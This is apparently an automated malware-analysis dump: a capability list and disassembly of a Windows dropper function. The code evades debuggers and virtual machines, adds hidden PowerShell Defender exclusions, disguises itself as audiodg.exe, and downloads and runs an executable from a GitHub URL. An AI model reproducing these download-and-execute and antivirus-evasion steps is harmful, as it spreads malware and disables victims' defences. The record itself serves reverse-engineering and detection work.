Function at 0x401c00
Capabilities:
Check for debugger via api
Create process on windows
Create process suspended
Create thread
Download url
Encode data using xor
Enumerate processes
Get common file path
Receive data
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1c28
call fcn.004036a0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c24], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x81c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x818]
push eax
lea eax, [esp + 0x142c]
push str.copy__ls__C:_Windows_audiodg.exe_
push eax
call fcn.00402600
add esp, 0xc
mov dword [esp + 0xb0], 0x44
lea eax, [esp + 0xb4]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0xb4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1448]
push eax
push 0
call esi
push 0x4049cc
lea eax, [esp + 0xc2c]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402600
add esp, 0xc
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0xb4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xc48]
push eax
push 0
call esi
call fcn.00401180
test al, al
je 0x401cfb
push 0x40
push str.NETHER
push str.You_are_running_the_program_on_a_VMWare_
jmp 0x401f1e
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x401f12
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [esp + 8], 0
jne 0x401f12
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401f41
lea eax, [esp + 0x370]
mov dword [esp + 0x370], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401f00
mov dword [esp + 0x5a0], str.ollydbg.exe
mov dword [esp + 0x5a4], 0x4046d0
mov dword [esp + 0x5a8], 0x4046e0
mov dword [esp + 0x5ac], 0x4046f8
mov dword [esp + 0x5b0], 0x404710
mov dword [esp + 0x5b4], 0x404728
mov dword [esp + 0x5b8], 0x40474c
mov dword [esp + 0x5bc], 0x404768
mov dword [esp + 0x5c0], 0x40477c
mov dword [esp + 0x5c4], 0x404790
mov dword [esp + 0x5c8], 0x404790
mov dword [esp + 0x5cc], 0x4047a8
mov dword [esp + 0x5d0], 0x4047d4
mov dword [esp + 0x5d4], 0x4047f0
mov dword [esp + 0x5d8], 0x404814
mov dword [esp + 0x5dc], 0x404828
mov dword [esp + 0x5e0], 0x404840
mov dword [esp + 0x5e4], 0x40484c
mov dword [esp + 0x5e8], 0x404854
mov dword [esp + 0x5ec], 0x404860
mov dword [esp + 0x5f0], 0x404870
mov dword [esp + 0x5f4], 0x404888
mov dword [esp + 0x5f8], 0x4048a4
mov dword [esp + 0x5fc], 0x4048bc
mov dword [esp + 0x600], 0x4048bc
mov dword [esp + 0x604], 0x4048d8
mov dword [esp + 0x608], 0x4048fc
nop word [eax + eax]
lea esi, [esp + 0x5a0]
nop word [eax + eax]
mov eax, dword [esi]
lea ecx, [esp + 0x394]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x401ed6
test dx, dx
je 0x401ed2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x401ed6
add ecx, 4
add eax, 4
test dx, dx
jne 0x401eb0
xor eax, eax
jmp 0x401edb
sbb eax, eax
or eax, 1
test eax, eax
je 0x401f0b
add esi, 4
lea eax, [esp + 0x60c]
cmp esi, eax
jne 0x401ea0
lea eax, [esp + 0x370]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401e90
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x401f47
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push str.NETHER
push str.You_run_the_program_using_the_debugger_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x1c24]
xor ecx, esp
call fcn.00402939
mov esp, ebp
pop ebp
ret 0x10
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
push 0x7d0
call esi
lea eax, [esp + 0xa20]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp word [0x404c42], 0
movups xmm0, xmmword [0x404c2c]
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [str.DX_]
movq qword [esp + 0x30], xmm0
je 0x4020b8
xor esi, esi
cmp dword [0x40642c], 2
jl 0x402090
movaps xmm2, xmmword [0x404cf0]
mov eax, 0x404c2c
movaps xmm3, xmmword [0x404d30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x404d10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x404d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x404d20]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [esp + 0x20], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x404d10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [esp + 0x28]
paddw xmm1, xmmword [0x404d20]
xorps xmm1, xmm0
movq qword [esp + 0x28], xmm1
nop word [eax + eax]
mov eax, 0x8d3dcb09
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x3a
sub ecx, eax
add ecx, 0x33
xor word [esp + esi*2 + 0x20], cx
inc esi
cmp esi, 0xc
jl 0x402090
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xa24]
push eax
lea eax, [esp + 0x618]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
lea eax, [esp + 0xc2c]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402600
add esp, 0xc
lea eax, [esp + 0xc28]
push str.C:_Windows_audiodg.exe
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402600
add esp, 0xc
mov dword [esp + 0x58], 0x44
xor eax, eax
mov dword [esp + 0x84], 1
mov word [esp + 0x9a], ax
xorps xmm0, xmm0
mov word [esp + 0x88], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x5c]
movlpd qword [esp + 0x60], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0xc48]
movlpd qword [esp + 0x84], xmm0
push eax
push 0
movlpd qword [esp + 0x94], xmm0
movlpd qword [esp + 0x9c], xmm0
movlpd qword [esp + 0xa4], xmm0
movlpd qword [esp + 0xb2], xmm0
movlpd qword [esp + 0xba], xmm0
movaps xmmword [esp + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x10]
call edi
push dword [esp + 0x14]
call edi
push 0
push 0
lea eax, [esp + 0x618]
push eax
push str.https:__raw.githubusercontent.com_Nether1337_freedownload_main_neth.exe
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x4023ca
lea eax, [esp + 0x610]
push eax
lea eax, [esp + 0xc2c]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402600
add esp, 0xc
lea eax, [esp + 0x610]
push 0
push 0
push eax
push 0x401780
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40237b
lea eax, [esp + 8]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x402375
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x402369
lea eax, [esp + 0x140]
mov dword [esp + 0x140], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4022b9
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
nop dword [eax]
nop dword [eax + eax]
lea eax, [esp + 0x164]
push str.explorer.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x4022c7
lea eax, [esp + 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402290
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x40236f
mov esi, dword [esp + 0x148]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40236f
push 0x40
lea eax, [esp + 0x100]
mov dword [esp + 0xfc], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xfc]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
lea eax, [esp + 0x630]
push eax
push 0
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x402364
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x20]
call edi
push dword [esp + 0x24]
call edi
push esi
call edi
jmp 0x40236f
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 8]
call edi
push dword [esp + 0xc]
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov esi, eax
test esi, esi
je 0x4023ca
push 0x2c
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x30], 0x2000
lea eax, [esp + 0x20]
push 0x30
push eax
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov ecx, dword [esp + 0x1c2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00402939
mov esp, ebp
pop ebp
ret 0x10